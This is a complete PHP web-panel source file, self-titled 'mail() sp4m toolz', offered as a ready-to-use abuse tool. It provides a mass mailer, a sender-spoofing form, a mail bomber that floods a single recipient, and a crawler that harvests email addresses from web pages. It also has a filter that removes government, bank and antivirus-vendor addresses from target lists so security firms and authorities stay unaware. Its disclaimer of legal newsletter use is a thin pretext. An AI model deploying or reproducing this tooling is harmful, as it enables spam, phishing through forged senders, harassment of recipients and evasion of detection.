<html>
<head>
<script>
function disclaimer(){
alert("This script was designed for legal use only(eg:send newstellers) and not for sending spam emails.Anyone misusing this script,will be responsible for his/her misdeeds.");
}
</script>
<title>mail() sp4m toolz</title>
<style>
body{background-color:black;color:white;}
h2{color:green;}
.text{color:green;}
A:link {text-decoration: none;color: green;}
A:visited {text-decoration: none;color: green;}
A:active {text-decoration: none;color: green;}
A:hover {text-decoration: none;color: green;}
</style>
</head>
<body>
<?php
/*
author:qbert
date: 21 october 2011
visit: qbert.tor.hu
rstcenter.com
*/
if(isset($_GET['file_path'])){
setcookie('file_path', $_GET['file_path'], 9999999999);
print '<script>alert("Mailing list has been selected!")</script>';
print '<meta http-equiv="refresh" content="0;url=' . $_SERVER['PHP_SELF'] . '">';
}
if(isset($_COOKIE['file_path'])){
$path = $_COOKIE['file_path'];
$file_color = 'green';
}
else{
$path = 'Not seted yet';
$file_color = 'red';
}
$time_limit = ini_get('max_execution_time');
if($time_limit < 60 && $time_limit > 0 || $time_limit == 60){
$time_color = 'red';
}
if($time_limit < 120 && $time_limit > 30){
$time_color = 'orange';
}
if($time_limit > 120 || $time_limit == 120){
$time_color = 'green';
}
function customError($errno,$errstr){
global $mail_error;
$mail_error = $errno . $errstr;
}
set_error_handler('customError');
mail('','','','');
if(is_null($mail_error)){
$mail_function = 'Enabled';
$mail_f_color = 'green';
}
else{
$mail_function = 'Not enabled';
$mail_f_color = 'red';
}
restore_error_handler();
if(isset($_GET['delete']) && $_GET['delete'] == 'cookies'){
setcookie('file_path' , '' , time()-3600);
print '<script>alert("Mailing list has been unselected!")</script>';
print '<meta http-equiv="refresh" content="0;url=' . $_SERVER['PHP_SELF'] . '">';
}
print '
<html>
<body bgcolor="black" >Server stats =><span class="text"> max_execution_time: <font color="'. $time_color .'">' .$time_limit. '</font></span> | <span class="text">mail() function : <font color="'. $mail_f_color .'">' . $mail_function . '</font></span> | <span class="text">file in use: <font color="'. $file_color .'">'. $path .'</font></span> # <a href="?delete=cookies">Delete</a> <span style="position:absolute;right:5px;"><font color="orange"><a onClick="disclaimer()">Disclaimer</a></font></span>
<hr /><center><h2><a href="'. $_SERVER['PHP_SELF'] .'">mail() sp4m toolz</a></h2></center><hr /></font>
';
print '
<center><a href="?mail=mass">[MASS MAILER]</a> # <a href="?mail=spoofer">[MAIL SPOOFER]</a> # <a href="?mail=bomber">[MAIL BOMBER]</a> # <a href="?mail=crawler">[MAIL CRAWLER]</a> # <a href="?mail=junk_remover">[JUNK EMAILS REMOVER]</a> # <a href="?mail=about">[ABOUT]</a></center>
';
if($path == 'Not seted yet'){
print '<br/>
<center>First of all,you need to load your mailing list :<form action="'. $_SERVER['PHP_SELF'] .'" method="get"><input type="textbox" name="file_path" value="mails.txt" /><input type="submit" /></form></center>
';
}
if(isset($_GET['mail']) && $_GET['mail'] == 'mass' && $path != "Not seted yet"){
print '
<center><h2 style="color:orange;">[mass mailer]</h2></center>
<br/>
<center>
<form action="?mail=mass&sent=ok" method="post">
From: <input type="textbox" name="from"><br/>
Subject:<input type="textbox" name="subject"><br/>Content:<br/>
<textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
(The content box allows you to insert html tags).<br/>
Interval:<input type="texbox" size="2" name="interval">(in seconds(optional))<br/>
To: mails from <font color="green">'.$path .'</font><br/>
<input type="submit">
</form>
</center>
';
if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != ""){
if($mail_function == 'Enabled'){
$mailing_list = file($path);
$mails_num = count($mailing_list);
$i = 0;
$from = 'From: ' . $_POST['from'];
while($mails_num > $i){
mail($mailing_list[$i],$_POST['subject'],$_POST['content'],$from);
if(isset($_POST['interval']) && $_POST['interval']){
sleep($_POST['interval']);
}
$i++;
}
print '<script>alert("job d0ne")</script>';
}
else{
print '<script>alert("D00H,mail() function is not enabled!")</script>';
}
}
else{
print '<script>alert("You haven`t filled one of the boxes!")</script>';
}
}
}
if(isset($_GET['mail']) && $_GET['mail'] == 'spoofer' && $path != "Not seted yet"){
print '
<center><h2 style="color:orange;">[mail spoofer]</h2>
<font color="orange">! Not all systems can spoof mail adresses !</font><br/>
<form action="?mail=spoofer&sent=ok" method="post">
From: <input type="textbox" name="from"><br/>
To: <input type="textbox" name="to"><br/>
Subject:<input type="textbox" name="subject"><br/>Content:<br/>
<textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
(The content box allows you to insert html tags).<br/>
<input type="submit">
</form>
</center>';
if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != "" && $_POST['to'] != ""){
if($mail_function == 'Enabled'){
$from = 'From: ' . $_POST['from'];
mail($_POST['to'],$_POST['subject'],$_POST['content'],$from);
print '<script>alert("job d0ne")</script>';}
else{
print '<script>alert("D00H,mail() function is not enabled!")</script>';
}
}
else{
print '<script>alert("You haven`t filled one of the boxes!")</script>';
}
}
}
if(isset($_GET['mail']) && $_GET['mail'] == 'bomber' && $path != "Not seted yet"){
print '
<center><h2 style="color:orange;">[mail b00mber]</h2>
<form action="?mail=bomber&sent=ok" method="post">
From: <input type="textbox" name="from"><br/>
To: <input type="textbox" name="to"><br/>
Subject:<input type="textbox" name="subject"><br/>Content:<br/>
<textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
(The content box allows you to insert html tags).<br/>
Number of mails:<input type="texbox" size="2" name="num_mails"><br/>
<input type="submit">
</form>
</center>';
if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != "" && $_POST['to'] != "" && $_POST['num_mails'] != "" && is_numeric($_POST['num_mails'])){
if($mail_function == 'Enabled'){
$i = 0;
$from = 'From: ' . $_POST['from'];
while($i < $_POST['num_mails']){
mail($_POST['to'],$_POST['subject'],$_POST['content'],$from);
$i++;
}
print '<script>alert("job d0ne")</script>';}
else{
print '<script>alert("D00H,mail() function is not enabled!")</script>';
}
}
else{
print '<script>alert("You haven`t filled one of the boxes!")</script>';
}
}
}
if(isset($_GET['mail']) && $_GET['mail'] == 'crawler' && $path != "Not seted yet"){
print '<center>
<h2 style="color:orange;">[mail crawler]</h2>
<form action="?mail=crawler&sent=ok" method="post">
Links to crawl:<br/>
<textarea name="links" cols="20" rows="10"></textarea><br/>
Links must be separated by commas.<br/>
<input type="radio" name="action" value="1">& save the mails into my mailing list<br/>
<input type="radio" name="action" value="2">& just print them here<br/>
<input type="submit"><br/>
</form>
</center>';
if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
if($_POST['links'] != "" && isset($_POST['action'])){
$links = explode(',',$_POST['links']);
$i = 0;
$num_link = count($links) - 1;
$string = '';
while($i < $num_link || $i == $num_link){
$temp_string = file_get_contents($links[$i]);
$string .= $temp_string;
$i++;
}
$pattern = '/[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+.[a-zA-Z]{2,4}/';
preg_match_all($pattern,$string,$mails);
$second = max(array_map('count' , $mails));
$i = 0;
$mails0 = array();
$mails_4_print = array();
$mails0 = file($path);
while($i < $second){
$mails0[] = $mails[0][$i] . "\n";
$mails_4_print[] = $mails[0][$i];
$i++;
}
if($_POST['action'] == 1){
$handle = fopen($path,'w+');
foreach($mails0 as $key => $value){
fwrite($handle,$value );
}
print '<script>alert("job d0ne")</script>';
fclose($handle);
}
else{
foreach($mails_4_print as $key => $value){
print '<center>';
print $value . '<br/>';
}
}
}
else{
print '<script>alert("You haven`t filled one of the boxes!")</script>';
}
}
}
if(isset($_GET['mail']) && $_GET['mail'] == 'junk_remover' && $path != "Not seted yet"){
print '<center>
<h2 style="color:orange;">[junk mails remover]</h2>
<form action="?mail=junk_remover&sent=ok" method="post">
(unwanted tlds must be separated by commas)<br/>
Unwanted tlds<input type="textbox" name="unwanted" value="gov.ro,bitdefender.ro,bitdefender.com,nasa.gov,avastantivirus.ro,avast.com,eset.ro,eset.com,piraeusbank.ro,bnro.ro,atebank.ro,raiffeisen.ro,ing.ro,avira.com,cec.ro,bcr.ro,librabank.ro,gemoney.ro,garantibank.ro,emporiki.ro,librabank.ro,procreditbank.ro,egnatiabank-rom.ro,millenniumbank.ro,leumi.ro,romexterra.ro,kaspersky.ro,kaspersky.com,avg.com,mcafee.com,symantec.com,norton.com,clamav.net"><br/>
Clean Mails from <font color="green">'. $path .'</font><br/>
<input type="submit">
</form>
</center>';
if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
$file = $path;
$unwanted_tlds = explode(',' , $_POST['unwanted']);
$mail_list = fopen($file ,'r');
$tlds_num = count($unwanted_tlds);
$tlds_num = $tlds_num - 1;
$j = 0;
$malicious = 0;
while ($j <= $tlds_num){
$num_lines = count(file($file));
$i = 0;
$temp_file = file($file);
while ($i < $num_lines){
$check = strpos($temp_file[$i],$unwanted_tlds[$j]);
if($check != NULL){
$malicious++;
unset($temp_file[$i]);
$mail_list = fopen($file ,'w+');
foreach($temp_file as $key => $value){
fwrite($mail_list,$value);
}
}
$i++;
}
$j++;
}
fclose($mail_list);
echo '<center><font color="green">d0ne!' . $malicious . ' malicious email adresses were removed!</font></center>';
}
}
if(isset($_GET['mail']) && $_GET['mail'] == 'about' && $path != "Not seted yet"){
print '
<br/>
<center>
<h2 style="color:orange;">mail() sp4m toolz v 0.1</h2>
author: qbert<br/>
visit : <a href="http://qbert.tor.hu">qbert.tor.hu</a><br/>
<a href="http://rstcenter.com">rstcenter.com</a><br/>
read the: <font color="orange"><a onClick="disclaimer()">Disclaimer</a></font>
</center>
';
}
?>
</body>